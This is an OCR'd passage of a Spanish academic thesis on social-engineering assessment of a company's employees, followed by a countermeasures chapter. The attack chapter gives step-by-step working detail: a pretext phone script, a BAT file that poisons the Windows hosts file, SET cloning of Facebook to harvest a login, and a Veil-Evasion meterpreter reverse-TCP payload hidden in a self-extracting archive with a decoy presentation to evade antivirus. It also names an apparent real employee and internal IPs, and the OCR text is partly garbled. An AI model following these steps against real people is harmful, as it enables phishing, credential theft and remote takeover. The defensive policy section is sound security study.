Figura 3-9. Esquema para la seleccion

Este paso, introduce un concepto de seleccidon de victima, ya que los
anteriores esquemas se han centrado en la busqueda vulnerabilidades

en los equipos fisicos como servidores y redes,
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El aporte se centra en poder enfocar la busqueda de vulnerabilidad de
las personas, incluso si los sistemas son altamente seguros. Por esta
razon, la busqueda de un complemento que ayude a cubrir la mayor
cantidad de vulnerabilidades es indispensable.

En esta etapa se pueden seleccionar una o varias victimas, incluso de
varios departamentos. Y es indispensable el interactuar con la misma, y

lograr un grado de confianza que poco a poco puede ir creciendo.

Siguiendo el esquema de la victima seleccionada, se toma la informacion
recolectada y resumida en la tabla 3-1. Con esta primera investigacion
tenemos dos nombres interesantes, el del Sr Presidente y el Sr

Vicepresidente de la compania.

Una buena practica es comenzar con las asistentes de los altos mandos,
ya que es usual por la gestion que realizan deben tener acceso a mucha

informacion y muchas paginas como las redes sociales.

3.2.1 Puesta en marcha seleccion de una victima:

Con la informacion publica basica obtenida, se arma un script o
dialogo basico para poder tener contacto con la persona que se
va a seleccionar.

Se realizara la llamada, al numero que encontramos, y solicitamos

hablar con la asistente de la Vicepresidencia Comercial,

Tabla 3-2. Dialogo para seleccionar una victima.
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Agente

Dialogo

Ingeniero Social:

Victima:

Buenos Dias, en que lo puedo ayudar?

' Buenos Dias. con la asistente de Guido Jalil?

De parte de que empresa?

' Ingeniero Social:

Somos una empresa que provee soluciones de equipos de

rastreo, somos Secury Recovery Tech.

Victima:

' Ingeniero Social: |

Victima:

Ingeniero Social:

Victima:

Victima:

' Con quien tengo el Gusto?

Buenas Tardes con quien tengo el placer?

Atacante: Soy Rafael de la Pena Gerente de Venta,

deseamos hacerle llegar informacion de nuestros productos

' en la linea de rastreo y monitoreo. El Sr Guido Jalil me

| solicito que me comunigue con su asistente para enviarle
|

informacion de nuestros productos.

Con quien tengo el gusto?

Mi nombre es Ménica Lopez, en lo puedo ayudar?

A s S 1
Disculpe, a que correo le puedo enviar nuestro portafolio, |

con la informacion solicitada?

Puede enviarlo a mlopez@carsegsa.com

Ingeniero Social: | Perfecto, le envio un correo en unos minutos solicitando |

confirmacion, para estar seguro, y un segundo con la |

- informacion de nuestro portafolio.

Muchas gracias estaremos atentos.

Ingeniero Social:

A usted Senorita Monica. |
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Con el dialogo descrito en la tabla 3-2, se procede a enviar un
correo a la asistente de la Vicepresidencia desde un correo
personal falso previamente creado, confirmando si el correo llego

de forma adecuada.

Tabla 3-3. Mail a la victima seleccionada de confirmacion.

Mail - Confirmaciéon

Buenos Dias,

Por favor nos podria confirmar la cuenta de correo de

' mlopez@carsegsa.com

Quedamos atentos a su OK, !

Ing. Rafael de la Pena. .

; Gerente de Ventas.

|

Luego se recibe un correo, con la confirmacion, el cual se procede
analizar a nivel del encabezado del correo. Ver la seccion B.1 del

apéendice B, para el encabezado completo.

Tabla 3-4. Encabezado Mail de la victima.

Fila

Encabezado del Mail - Confirmacién

Authentication-Results: hotmail.com; spf=pass (sender IP is 190.95.210.34)

smtp.mailfrom=mlopez@carsegsa.com, dkim=none

header.d=carsegsa com; x-hmca=pass header id=mlopez@carsegsa.com

|
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9 | Received: from mail.carsegsa.com ([190.95.210.34]) by BAYO-MC1-

F46.Bay0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4900);

11 | Received: from carsegsa.com (mail.carsegsa.com [10.100.89.4])

' 13 | for <rafaelpena@hotmail.com>; Wed, 14 Aug 2013 09:43:28 -0500 (ECT)

14 | Received: from SECVIP75 (Igyesec75.grupocarseg.com [10.100.89.75))

15 | by carsegsa.com (Postfix) with ESMTP id 6479161C6D3

16 | for <rafaelpena@hotmail.com>; Wed, 14 Aug 2013 09:43:26 -0500 (COT)

17 | From: "Monica Lopez" <mlopez@carsegsa.com>

18 | To: "Rafael de la Pefa" <rafaelpena@hotmail.com>

21 | Subject: RE: Portafolio.

De la tabla 3-4 se puede obtener informacién muy interesante que
puede ser usada para construir escenarios de ataques. Como por
ejemplo la ip de la maquina de origen, la ip del router, el nombre

de la maquina origen.

3.2.2 Informacién obtenida de la seleccion:

De la informacion analizada de la victima se puede armar la

siguiente informacion

Tabla 3-5. Informacidn obtenida fase de seleccion.

" Informacion T Detalle

Nombre de la victima Monica Lopez

Correo de la victima mlopez@carsegsa.com
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‘ Ip de la victima 10.100.89.75

'Ip del servidor de coreo | 10.100.89.4

' Nombre de la maquina Igyesec75.grupocarseg.com
" Ip publica de la empresa 190.95.210.34

Esta tabla refleja, que se ha podido obtener una relacion con la
posible victima seleccionada, y que podemos enviarle

informacion, sabiendo que sera bien acogida.

Es importante resaltar que esta etapa se debe tomar algun tipo de
contacto con la victima, para poder seguir a los siguientes pasos

de forma adecuada.

Hasta el momento se ha obtenido informacion de la empresa y
victima sin necesidad de llegar ejercer algun ataque informatico

de forma directa.

3.3. Paso 3: Técnicas de Ingenieria Social - Construir

El objetivo que busca este paso es poder elaborar en base a la
informacion y posible victima seleccionada anteriormente, unos posibles
escenarios para evaluar, ;,Qué tan facil es la victima en facilitar

informacion?
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En esta paso se debe poder generar mas de un escenario, y probar en
cuantos estos se puede tener un caso de éxito, para su analisis. Cabe
indicar que el éxito de este paso esta ligado al expertis del ingeniero

social, para elaborar escenarios convincentes.

Figura 3-10. Esquema para la construccion

3.3.1 Escenarios a construir.

Basado en que el contexto es poder vulnerar a una persona que

trabaja en una empresa se propone |os siguientes escenarios:

Tabla 3-6. Escenarios sugeridos.

Escenarios Detalle

Escenario 1: Archivo adjunto infectado, enviado via email.

ARCHIVO BASE.
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| Escenario 2: Clonacion de pagina web de red social.

Escenario 3. Infeccion de un medio de almacenamiento USB.

Los escenarios propuestos se pueden realizar desde una red
externa, o desde la red interna de la empresa, esto depende del
nivel de complejidad, pero como el objetivo es evaluar la
vulnerabilidad de las personas, los escenarios 2,3 y 4 seran
construidos desde la red interna de la empresa.

Otros escenarios pueden ser incluidos dependiendo de las

necesidades y la informacion recolectada.

3.3.2 Herramientas seleccionadas para escenarios.

Una vez listado los escenarios, se procede a la seleccion de las

herramientas mas adecuadas para poder construirlos.

Tabla 3-7. Matenal para escenarios.

F Herramientas N Detalle R "

"1 servidor 'RASPBERRY elemento 14 con sus accesorios |

' Sistema operativo Kali version mas reciente

SET | Kit de herramientas para ingenieros sociales.

|
harjeta inalambrica | ALFA — o que sea compatible con Raspberry. *’

FSB o | PenDrive. - ‘
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3.3.3 Construccion de escenarios.

En base a los materiales seleccionados, se procede a armar los

escenarios antes descritos de forma mas detallada.

Antes de proceder a los escenarios seleccionados, se debe
configurar el servidor Raspberry, instalar el sistema operativo Kali,
y configurar las direcciones IP. Este servidor sera instalado dentro
de las instalaciones, conectado a una red inalambrica abierta que

se localizo.

3.3.3.1. Pasos previos: Kali + Raspberry + Set:

o Configurar el sistema operativo Kali sobre Raspberry.
Ver la seccion C.1 y C.2 del apéndice C.

e Configuraciéon de Acceso al Raspberry por SSH. Ver la
seccion C.3 del apéndice C.

e Instalacion de PUTTY'. Ver la seccion C.4 del
apéndice C.

o Configurar SET. Ver la seccion C.5 del apéndice C.

e Configuraciéon de VEIL-EVASION'®. Ver la seccién C.6

del apéndice C.

" PuTTY es un cliente SSH, Telnet, flogin, y TCP raw con licencia libre
' Veil-Evasion - Es una herramienta que permite generar paylods que no sean detectados por

el antivirus
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e Instalacion fisica del Raspberry.

3.3.3.2. Construccion Escenario 1 - BASE:

El escenario 1, busca realizar un ataque que permite
modificar los archivos host, del computador de la victima,
de tal forma que permita redireccionar las paginas que
deseamos a una falsa.

Se lo llama Escenario BASE, ya que permite que los

proximos ataques sean transparentes.

Tabla 3-8. Construccion Escenario 1 - Base.

PARAMETRO R DESCRIPCION

NOMBRE DEL ESCENARIO | Archivo infectado - BASE

"OBJETIVO Modificar el archivos host de la maquina de la
victima para poder redireccionar nuestro

sitio falso. ‘

' MEDIO DE COMUNICACION | Correo electrénico. ‘

HERRAMIENTAS Kali Linux.

VICTIMA Victima seleccionada (Asistencia de Gerencia) |
' PRE-REQUISITO | Tener el correo de la victima. 1
' TIEMPO DE LA PRUEBA 'De 5 a 10 ( es una pagina de acceso comun)

+
. S R i

Para este escenario se crear el archivo a enviar por correo

electronico, a la maquina de la victima.
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Se crea un archivo .BAT, con el programa NOTEPAD, con

la siguiente informacion:

Tabla 3-9. Archivo Portafoio.bat

Creacion de archivo BAT

' Echooff ‘

Echo 10.100.89.76

|
http://www . facebook.com/>>C \Windows\System32\driver\etc\hosts |

|

Se graba el archivo con el siguiente nombre y extension
Portafolio.BAT. El archivo hosts, es el primer lugar donde
consulta nuestra maquina para poder traducir una direccion
URL, a una direccion IP, si no lo encuentra procede a

buscar en los DNS configurados.

Las paginas que pretende falsificar es de una red social —

facebook.

Figura 3-11. Portafolio.bat

El archivo puede ser enviado al destinatario,
comprimiéndolo. EI mismo de por si no es detectado como

una amenaza.
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3.3.3.3. Construccion Escenario 2:

La construccion del escenario 2, busca poder tener acceso
a la maquina de la victima, sin necesidad de interactuar con
ella, esto debido a que el archivo antes enviado permite
modificar el redireccionamiento permitiendo poder crear

una pagina falsa de la red social del Facebook.

Tabla 3-10. Construccion Escenario 2.

PARAMETRO | DESCRIPCION

'NOMBRE DEL ESCENARIO | Clonacion pagina de red social Facebook, |

" OBJETIVO ) ' Clonar la pagina de red social Facebook, y

obtener informacion personal

victima

}MEDIO DE COMUNICACION | HTTP
|

de

la

HERRAMIENTAS | KaliLinux. B

' VICTIMA | Victima seleccionada (Asistencia de Gerencia) |

i PRE-REQUISITO A ver enviado el archivo Portafolio.bat |
TIEMPO DE LAPRUEBA | De 5a 10 ( es una pagina de acceso comun)

Para configurar este se escenario se conecta al raspberry,

para su configuracion.
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Una vez conectado se ingresa a al raspberry por medio del
programa PUTTY, accediendo a la interfaz terminal, desde
ahi digitamos el siguiente comando: #set-toolkit

Se mostrara una interfaz en modo texto con las opciones

del kit de herramientas para ingenieros sociales.

S 1010089 06 - PuTTY

Figura 3-12. Interfaz de SET.

Dentro de esta ventana se procede a escoger la opcion 1
“Social-Engineering Attacks” El mostrara otro menu de

texto para poder seleccionar
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Figura 3-12. Interfaz de Social-Engineering Attacks.

Luego se procede a escoger la opcion 2) “Website Attack

Vector”.

Figura 3-13. Interfaz de Website Attack Vector.
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Luego se procede a escoger la opcion 3) “Credential
Harvester Attack Method” e inmediatamente la opcion 2)
“‘Site Cloner”. Luego se solicitara que se ingrese
informacion necesaria para poder realizar la clonacion vy

posterior ataque.

Tabla 3-11. Parametros solicitados Escenario 2.

F’i'ara_mzt_rb | Dato a ingresar

- T i T
| NAT/FOWARD ‘NO
'IPADDRESS | 1921688976 |

"URL‘" ' ~ | HTTP./MWWW FACEBOOK COM |

— 1 S— - S— —

Figura 3-14. Parametros solicitados - Website Attack Vector.

A continuacion Se verifica que la pagina este clonada
correctamente. Ingresando a la ip asignada desde un
navegador que se encuentre en la misma red o la maquina

local
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Figura 3-15. Pagina Facebook clonada.

Con esta configuracion se puede obtener informacion
personal de la victima, hay que considerar que tenga

acceso a la pagina clonada.

3.3.3.4. Construccion Escenario 3:

El escenario busca infectar un medio extraible como una
memoria USB, en el cual se tenga un archivo oculto con
codigo malicioso y que permita poder tener acceso a la
maquina de la victima, este ataque es altamente peligroso,
ya que podra tener acceso a toda la informacion que esta

almacenada en la maquina de la empresa.
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Tabla 3-10. Construccion Escenario 3.
PARAMETRO DESCRIPCION 1
NOMBRE DEL ESCENARIO Infeccion memoria USB r
“OBJETVO Crear un archivo que pemmila tener el |

"MEDIO DE COMUNICACION

control de la computadora de la victima. [

Memoria USB — Abriendo un puerto 4444

 HERRAMIENTAS

Kali Linux, VEIL

Victima seleccionada (Asistencia de Gerencia)

' PRE-REQUISITO

Direccion fisica para enviar el USB infectado"<¥

' TIEMPO DE LA PRUEBA

|
I —— S—

3dias

3.3.3.4.1. Creando Archivo con Veil

Para el escenario 3 se va crear un archivo para ser

puesto en un pen drive con un archivo que este

infectado con un fragmento de codigo que permita

tener control de la computadora infectada.

Para este escenario se va utlizar la herramienta

Veil-Evasion, que es una herramienta que permite

generar payloads basado en metasploit, con la

finalidad de no ser detectado por la mayor cantidad

de antivirus.
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Para instalar esta herramienta se sigue los

siguientes pasos:

Tabla 3-10. Pasos a sequir para instalar Veil.

COMANDOS

' rbot@kali~:# git clone http://github.cbm:’ChrisTruncerNeil.git h

" root@kali~#cd Veill

' root@kah*-:#cd seiup/
root@kali~#/setup.sh I
| root@kali~#cd ..

| root@kali~# /Veil-Evasion py

Y si todo esta en orden aparecera la siguiente

pagina:

Figura 3-16. Marco de Trabajo de Veil.
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Desde este punto podremos crear nuestro archivo
ejecutable que contenga un cédigo malicioso, que
permita atacar la computadora de la victima.

Para la creacion del archivo se detalla en la seccion
c, del Anexo 3. Para ello se utilizd la siguiente

informacion:

Tabla 3-10. Parametros para crear archivo infectado.

! Parametro ' |  Detalle

Lenguaje _ | Python ]
| Payload i Python/shellcode_inject/aes_encrypt |
' Shellcode : -L Windows/meterpreter/reverse_tcp

' Opciones Requeridas | LHOST=10.100.89.76 LPORT=4444
|

| Nombre del archivo | Test01.py

' Archivo Handler | Test01_handler.txt

El archivo infectado se encuentra en la siguiente

ruta:

Figura 3-17. Ruta del archivo infectado creado con Veil
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Para crear el listener el recurso se encuentra en la

siguiente ruta:

Figura 3-18. Ruta del listener creado con Veil.

3.3.3.4.2. Ocultando el archivo infectado

Una vez que se tiene el archivo creado, para ser
enviado por mail, una tactica muy popular, es
poder ocular el archivo dentro de otro archivo,
para esta técnica se debe tener dos archivos, el
primero es el archivo infectado y el segundo un
archivo. Creando el archivo para enviar por mail,
se utiliza dos archivos, para ocultar el ejecutable
que contiene el codigo malicioso. Y el programa

WINRAR en su version gratuita

Tabla 3-11. Parametros para ocultar archivo infectado

Parametro | - Detalle

|Archivo1 | Test01.exe: Archivo con el codigo malicioso.

| Archivo 2 | Hunter.pps: una presentacion de la empresa.
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$+ hunter pps
v+ tes0l exe

Figura 3-19. Archivos para ocultar archivo infectado.

Se siguen los siguientes pasos para ocultar el

archivo:

Paso 1: Se selecciona ambos archivos y se da clic

derecho, para luego seleccionar, agregar archivo

r)"" huntar nne
ks test @ Analizar con AVG
AVG Shredder

Mover a Dropbox

Share with »
Add to archrve...

Add to "FINAL.rar”

Compress and emad...

Compress to "FINAL.rar” and emad

" wwow

Scan with SUPERAntSpywere

Figura 3-20. Clic derecho sobre los archivos para

ocultar.

Se selecciona “Create SFX archive”, luego se va a la

pestana “Advance”.
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-
Archeve name and parameter:

| Genersl  Advanced | Optons | Fles | Baciop | Time

Arcrvee name
Presertacon exe
Update mode
Profies 03 and regsace bhes

Srchveng ophone
Dwicte thes aher archving
! Tredte SFX archvve

Aechvve format
@ RAR
2P
Zreate s0bd aryve
P ashertcty verficgon
Pu recovery record
Text archrved fles
Lock archrve

Figura 3-21. Opciones Avanzadas del WINRAR.

En la pestafa “Advance” se selecciona, “SFX

options”.

Gy

Bachgrous chverg

Tum PC of when dore

Wat ¢ other Win RAR copes ore actve

Figura 3-22. Opciones Avanzadas del WINRAR -

Opciones SFX.
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Se abre otra una ventana con varias opciones, las
cuales se configuran a continuacion. Configuracion

de la pestana “General” de “Advance SFX options”.

Tabla 3-12. Parametros Avanzados - ocultar archivo infectado.

Parametro Detalle

Save and restore paths
| Run after extraction: test01.exe

Run before extraction: Hunter pps

Advance Request administrator access.

Modes | Hideall

General Abolute path.

'ﬁb&ate - | Extract and replace file
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Advanced SFX aptoe i, TFX optonc Tﬂ
Testl g oo i Lcmre. M- Tt ard com c— | o for
Jeners Advanced Mcdee Lpoase P ] chvarced Modaes Upass

Par o et Ciarw
Fimg b= Svete r ™o desbrgbon ‘oder
@ Aonchse et e
Aot shomot
Mrve o< warere palte
et o prragraee
R after ety o
earl ! e
o
e el
/ Fagues asvvewre adoem
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| O Cancel Qx Lawn ey
Syreae - Adcamced VL optons L4
Vet arnd wcon T | Tamt et wan L Mk b
= Adarced U gem pa— P en— [ree ey L
fhetbe ot o Ddahe wude
e S ey, S & Eoas ad splase M
I I Extrect o updae e
Frma swmrs] Nes iy
Al T
B i L t
A >eyw Tverets
Shert mode
& Jeerwms & Na
Daoay @
ey s
e wit By
@ i ol
O - - ' [s 9 e ey

Figura 3-23. Configuracion final — Opciones SFX.

Luego se genera un archivo ejecutable el cual

contiene dos archivos, una presentacion para Hunter

que se ejecuta automaticamente, y el

infectado que se ejecuta de forma oculta.

archivo
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-
¥+ hunter.pps
a Presentacion.exe

g test]l exe

Figura 3-24. Archivo final con el archivo oculto

Para poder enviar el archivo por correo electronico

se debe comprimir en formato “zip

}‘.‘ hunter pps
2 Presentacion.exe
Presentacion.np

v testO] exe

Figura 3-25. Archivo final comprimido con el archivo oculto.

Antes de enviar el archivo comprimido, se realiza

una comprobacion con un antivirus local,

Resumen

Analisis de la extension de

la shell finalizado

Feliodades, no se encontraron
amenazas.

Figura 3-26. Antivirus no detecta el archivo oculto en la presentacion



163

3.4. Paso 4: Explotar la relacion con la Victima.

El paso de explotacion se busca ejecutar los escenarios creados

en el paso anterior, y recolectar los resultados obtenidos.

Figura 3-27. Esquema para la Explotacion

3.4.1 Explotacion de escenario 1

De la relacion obtenida con la victima de la empresa victima se
prepara otro correo para ser enviado, respondiendo sobre el
correo antes recibio indicando que se adjunta la presentacion,

para este efecto se adjunta el archivo antes generado:
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NXSAMAAZLEES

Ewia ﬂset*-aﬂ O NuBstUS Droousctos

Figura 3-28. Envio de correo con el adjunto - Portafolio.zip

Luego se llama para realizar la confirmacion. Como el archivo no
muestra ninguna informacion, esperamos una negativa de que el
archivo no pudo ejecutar. Con esta confirmacion sabremos que se
pudo modificar el archivo “C:\Windows\System32\driver\etc\hosts”,
de la maquina de la victima. Y con ellos se puede proceder a

realizar el ataque de nuestra pagina falsa.

3.4.2 Explotacién de escenario 2

Luego de que el archivo Portafolio.zip fue ejecutado en la
maquina de la victima se procede a ejecutar desde nuestro
Raspberry se ejecuta los comandos antes explicado para el

escenario 2.
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Figura 3-29. Escenario 2, esperando a que se conecte una victima

Esto nos genera la pagina falsa de la red social FACEBOOK, y se
espera a que se conecte la victima. Cuando la victima se conecta

sale informacion que muestra su usuario y clave

Figura 3-30. Escenario 2, obtencion de usuario y calve de la victima

Para la victima es trasparente esta pagina ya que el ingreso a la
misma se realiza y cada vez que se conecte a la pagina false se

podra extraer informacion.

3.4.3 Explotacion de escenario 3

En el escenario 3, se vuelve a enviar un mail, basados en gue se
solicito que se envie nuevamente el archivo, pero en esta ocasion

se adjunta el archivo creado para el escenario 3
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o ©

NKSAMANAALEEDSE

Se reenvia presentacion de nuestros prud'.n:tusl

Figura 3-31. Escenario 3, envio de adjunto archivo infectado.

Cuando la victima lo recibe el archivo lo ejecuta y descarga los
archivo en el “C:/", y se ejecuta primero la presentacion, y al
momento de cerrarla, se ejecuta nuestro archivo infectado, que

permite tener el control de la maquina de la victima.

Una buena estrategia, es enviar la presentacion lo mas real
posible, ya que esta puede ser enviada a varios directivos y asi
poder infectar varias maquinas a la vez.

Para poder saber si el archivo infectado fue ejecutado

correctamente se ejecuta el archivo generado en el escenario 3
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Tabla 3-13. Escenario 3 — Ejecucién de comando para escuchar

' Parametro comando

| Test01_handler.rc | msfconsole —r test01_handler.rc

| | -]

Figura 3-32. Escenario 3, ejecutando el comando para escuchar.

Cuando la victima ejecuta el archivo presentacion.exe, nuestra

consola nos muestra la siguiente imagen
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Figura 3-33. Escenario 3, conexion exitosa.

La informacion que se muestra en la figura 3-32, indica que se

tiene un terminal remoto hacia la computadora de la victima.

3.5. Paso 5: Analisis de la informacion.

El objetivo de este paso, es analizar la informacion recolectada, y el

comportamiento de la victima o victimas seleccionadas.

Figura 3-34. Esquema para el Analisis.
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El analisis de la informacion se evalua desde el punto de vista de la
calidad de informacién obtenida y de que tan dificil fue obtenerla. Es
prudente poder realizar un analisis del comportamiento de la victima a lo
largo de los pasos, de como la informacion ha fluido y como es sensible

a ser obtenida.

3.5.1. Analisis informacion

Se debe analizar cada uno de los escenarios y poder ver su
relevancia, hay que tener en cuenta que un escenario no se
obtuvo informacioén relevante también hay que considerarlo y dar
su analisis. Del analisis se puede generar contramedidas

adecuadas y personalizadas.

3.5.1.1. Analisis Escenario 1: Envio de Adjunto con error.

En el escenario se pudo enviar el correo electronico con un
archivo que permite modificar el comportamiento de

navegacion por internet sistema operativo.

Tabla 3-14. Escenario 1 — Analisis de resultados.

Parametro Resultado ‘

Envio de correo | E| archivo llego correctamente a la victima, y se

electronico con | confirmo que este fue ejecutado. ‘

adjunto ‘

“Portafolio.zip”

L o
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La victima demostré interés en poder recibir la

Comportamiento | informacion solicitada, el deseo de ayudar esta muy

de la victima presente.

Con este resultado, podemos analizar que se ha podido

lograr un canal con la victima.

3.5.1.2 Analisis Escenario 2: Falsificacion de pagina web

En este escenario se realizd un ataque para clonar la pagina de la

red social de la victima, esta pagina web es visitada por los

empleados para verificar su vida personal en momentos de 0seo.

Tabla 3-15. Escenario 2 — Analisis de resultados.

Parametro Resultado
Usuario y | Se obtuvo informacion personal de la victima.
Contrasena

' Comportamiento

de la victima

La victima tenia la costumbre de ingresar a la |

pagina de red social con frecuencia.

— —

La informacion que se ha obtenido de perfil de la red social, con

ello se puede conocer los amigos, y con quien tiene comunicacion

mas frecuente en la red

Con este escenario se demuestra como se obtiene informacion

personal de la victima dentro de la empresa.




171

3.5.1.3 Analisis Escenario 3: Archivo Infectado.

En este escenario se realizo un ataque enviando un archivo

infectado antes creado, y esperando que el usuario lo abra,

en ese momento se realiza el ataque. Como se pudo

apreciar en la construccion del escenario este archivo no

fue detectado por el antivirus.

Tabla 3-16. Escenario 3 — Analisis de resultados.

[

Shell de I

~ Parametro

la

computadora

de la victima.

' Comportamiento

de la victima

i Resultado ]

A - a— - - R — .._|
Se logro obtener una ventana de comando de la ‘

computadora de la victima.

La victma se confio como medida de ‘
|
proteccion el antivirus instalado en su |

computadora.

El tener una ventana de comando de la computadora de la

victima, es uno de los ataques mas peligrosos ya que esto

implica que el atacante tiene acceso a toda la informacion

de la maquina de la victima pudiendo obtener la misma sin

que se diera cuenta. Lo peligroso de enviar este archivo es
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qgue si este es reenviado a varias maquinas, se obtiene una
ventana de comando por cada usuario nuevo.
El poder lograr tener éxito de este tipo de ataque implica

gue la informacién dentro del a empresa es muy vulnerable.
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CAPITULO 4

Contramedidas para las amenazas internas

De la revision de los capitulos anteriores, se puede denotar la
importancia de tener reglas claras de como proceder ante cualquier
traspaso de informacion de la empresa, ha esto salta la importancia de
poder contar con una Politica de Seguridad, un documentacion formal

legal y del apoyo de la alta directiva.

El objetivo de este capitulo es poder ofrecer algunas consideraciones,
para la empresa basada en los ataques o posibles ataques dentro de
una empresa, no es intension poder abarcar todas las medidas pero si

dar una guia basica de su importancia a tener en cuenta.

Las contramedidas se aplican para contrarrestar las amenazas y
vulnerabilidades y de este modo reducir el riesgo en el entorno
empresarial. Una vez aplicadas todas las contramedidas para reducir las

amenazas y vulnerabilidades, solo quedan riesgos residuales.

Las contramedidas son entonces, las politicas de seguridad apoyadas
por todos los medios técnicos o de procedimientos que se aplican y

desarrollan para atender vulnerabilidades y frustrar ataques especificos.
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Una buena practica es poder desarrollar una politica, que indique los
procedimientos claros de como tratar la informacion sensible para le
empresa.

Una politica que esta orientada a la mision, vision y objetivos claros de

los recursos de red e informacion sensible de la empresa.

Desarrollo de Politicas

El objetivo es que después de realizar un set de pruebas, y de la
informacion obtenida en cada uno de los escenarios planteados, se
demuestra la importancia de concientizar al usuario de las diferentes

amenazas.

El desarrollo de la policita debe estar orientado al proceso y de la forma
como se puede asegurar la informacion de la empresa, e incluso de la

persona.

No es el objetivo de este documento el crear politicas para la empresa,
mas sino el poder dar las pautas y seguimiento para futuras
investigaciones de como poder elaborar escenarios para evaluar los
riesgos y asi elaborar politicas bajos estandares de seguridad. Pero si
dejar en constancia el incluir dentro de las politicas generales, una
seccion orientada al cuidado de la empresa orientada a las

vulnerabilidades de las personas.
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Un conjunto de buenas practicas ampliamente recomendada es la

NORMA ISO, es su version 27001'" y actualizaciones.

4.1.1. Consideraciones para crear una policita de Seguridad.

Algunas consideraciones a tener en cuenta como una base para
crear una politica de seguridad dentro de la empresa:

1. La politica debe tomar en cuenta las caracteristicas particulares
de la empresa, se debe tomar en cuenta el control que se va

realizar, dentro de la empresa.

2. Una recomendacion sana es que para que la politica tenga el
impulso adecuado dentro de la empresa, se debera aprobar por la

alta directiva, publicar y comunicar a las personas adecuadas.

3. Se debe considerar que los cambios tecnologicos deben tener
una alta relevancia, y que la revision de la politica esta ligada a

estos cambios.

4. Debe haber un responsable para el mantenimiento de la politica, y

difusion de la misma. De preferencia del area de tecnologia

'""1SO 27001. es un estandar para la seguridad de la informacion (Information technology -
Security techniques - Information security management systems - Requirements) aprobado y
publicado como estandar internacional en octubre de 2005 por International Organization for

Standardization y por la comisién International Electrotechnical Commission.



176

4.1.2. Analisis para el desarrollo de politicas

Del analisis de los escenarios creados para evaluar la

vulnerabilidad de la empresa seleccionada, se propone las

siguientes pautas para poder que sean la base de crear politicas

de seguridad teniendo en cuenta las vulnerabilidades expuestas:

Tabla 4-1. Analisis para el desarrollo de politicas

PARAMETRO - Analisis |

Escenario 1 - Politica para solicitar informacion de la empresa que contacta a |
la empresa victima, cedula, revisar el nombre de la empresa |
con el area legal. Solicitar referencia de la misma.

Escenario 2 - Si se percata de un link no adecuado, se debe anunciar

inmediatamente al area de seguridad informatica.

Escenario 3 - Archivos que sean ejecutables, no deben ser ejecutados como T
policita, y se lo hace se debe anunciar al area técnica. |
i + Si se recibe informacion de un falso cliente, no hay que
| difundirla por ningun medio.

OTROS - Politicas de bloqueo automatico de los equipos informaticos.

ESCENARIOS + Habilitar logs para validar que los usuarios sepan que la pagina

a la que ingresen es la correcta.

+ Politica de configuracion el correo corporativo para no recibir |
archivos ejecutables.

- Politica para informacion personal, no facilitar correos |
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personales, esto porque a veces el correo corporativo tiene

restricciones
Politica para visitas fisicas, debe tener un registro con una ‘
identificacion, esto se lo debe manejar de forma agil

Politicas para equipos no seguros como: laptops, teléfonos
i

inteligentes, tabletas, deben tener una gestion de respaldo |
personalizado, incluyendo borrado automatico.

Politicas para realizar Ataques de ingenieria social, para testear
las vulnerabilidades, esto se lo realiza creando nuevos
escenarios, y algunos ya antes probados.

Politicas de concientizacion y difusion de la cultura de

seguridad.

Politicas de cambio de passwords. .

Areas de Riesgos y contramedidas

Otro método adecuado es amar una estrategia basada

en las areas de riesgo y el tipo de ataque que puede ser

vulnerable. Y con este analisis se puede armar una

estrategia de contramedida.
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Tabla 4-2. Area de Riesgo Internet y contramedida

Tacticas Atacante Estrategia de contramedida
~ « Adivinar password - Refuerzo continuo del conocimiento |
« Encuestas, de los cambios a los sistemas vy
actualizacion de redes
datos falsos + Entrenamiento en el wuso de
« Anexos con archivos contrasenas ‘
infectados. - Induccion en la creacion de‘

contrasenas fuertes

Tabla 4-3. Area de Riesgo Teléfonos y contramedida

'Tacticas Atacante =~ |  Estrategia de contramedida |

|

~ « Personificacion falsa. , « Entrenar a los empEéEfd§T

« Solicitar  contrasenas ayuda técnica para nunca dar

por telefono, ayuda contrasenas u informacion |
técnica. confidencial por teléfono.

» Persuasion para + Controlar llamadas de larga

solicitar informacion distancias.

personal - Reusar la trasferencia de

llamadas sospechosas. 1

» Solicitar informacion como i

cedula, teléfono de la empresa, y

celular.
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Tabla 4-4. Area de Riesgo Acceso fisico y contramedida.

Tacticas Atacante

« Acceso fisico no
autorizado.
- Espiar sobre el hombro.

+ Robo de documentos

escaneados.
- Paseo por los pasillos.

+ Acceso a los servidores,

redes inalambricas que

tenga acceso a Ips de

empleados.

identificaciones adecuadas.

+ No escribir contrasefa con
alguien viendo.

» Restringir uso de fotocopiadoras
y escaner, sobre todo de
documentos sensibles.

» Monitorear el acceso fisico de
los servidores.

- Tener un Access point separado
de las redes de la empresa.

+ Marque la informacién que sea
confidencial y su

apropiado.

Tabla 4-5. Area de Riesgo Fuera de la oficina y contramedida

Estrategia de contramedida |
+ Entrenamiento del uso de |

manejo |

Tacticas Atacante

Estrategia de contramedida

* Reuniones fuera de .

oficinas, pueden a

ver Access Point

|
~| Falsos.

|« VPNs conexiones

desde la casa. .

conectarse a

No pa'_ginas que
requieran password desde una
conexion externa desde su equipo

movil de trabajo. Navegar en lo

estrictamente lo necesario.

Entrenar a los empleados de las

diferentes tacticas de los hackers.

l

*.
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Tabla 4-6. Area de Riesgo Escritorio y contramedida

Tacticas Atacante

« Visitar en horarios
de almuerzo
'« Dejar encargos o

presentes en los

puestos.

- Cerrar los armarios y cajones con llave

Estrategia de contramedida |

despues del horario de trabajo, y guardar
la llave en un lugar seguro.

No dejar equipos portatiles o informaticos
con informacion confidencial, o sensible
sin ningun tipo de seguridad. Deben
tener al menos una restriccion de acceso
a los mismos. ‘

\
Al alejarse de la computadora o sitio de

trabajo, se debe dejar blogueada o |

apagada la misma. ‘

Dentro del analisis de y contramedidas basado en

los posibles ataques o riesgos, también hay que

analizar las recomendaciones generales o basicas a

tener en consideracion dentro de la empresa.

Tabla 4-7. Recomendaciones - Area de Riesgo y contramedida

Tacticas Atacante

e Estar atentos y

‘ aprender a |

reconocer al

|

- No dar informacion inmediata por

Estrategia de contramedida ]

teléfono, menos de un contacto de la

|
|
|

empresa. |

: J
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administracion de

respaldos
adecuada

organizada

y

Los atacantes suelen dar signos de esta‘r—‘
apresurados

Dar nombres no conocidos, hay que
tratar de validar la informacion dada ‘

Hay casos en que se tiene a suplantar o

imitar a alguien, hay que estar atento a
\
acentos o cambios de la voz.

Es muy comun detectar errores de

escritura, o semantica. ]
Las preguntas obvias suelen estar muy |

presentes.

‘Administracion  y mantenimiento  de |

cuentas de usuarios. |
Un claro y adecuado procedimientos!
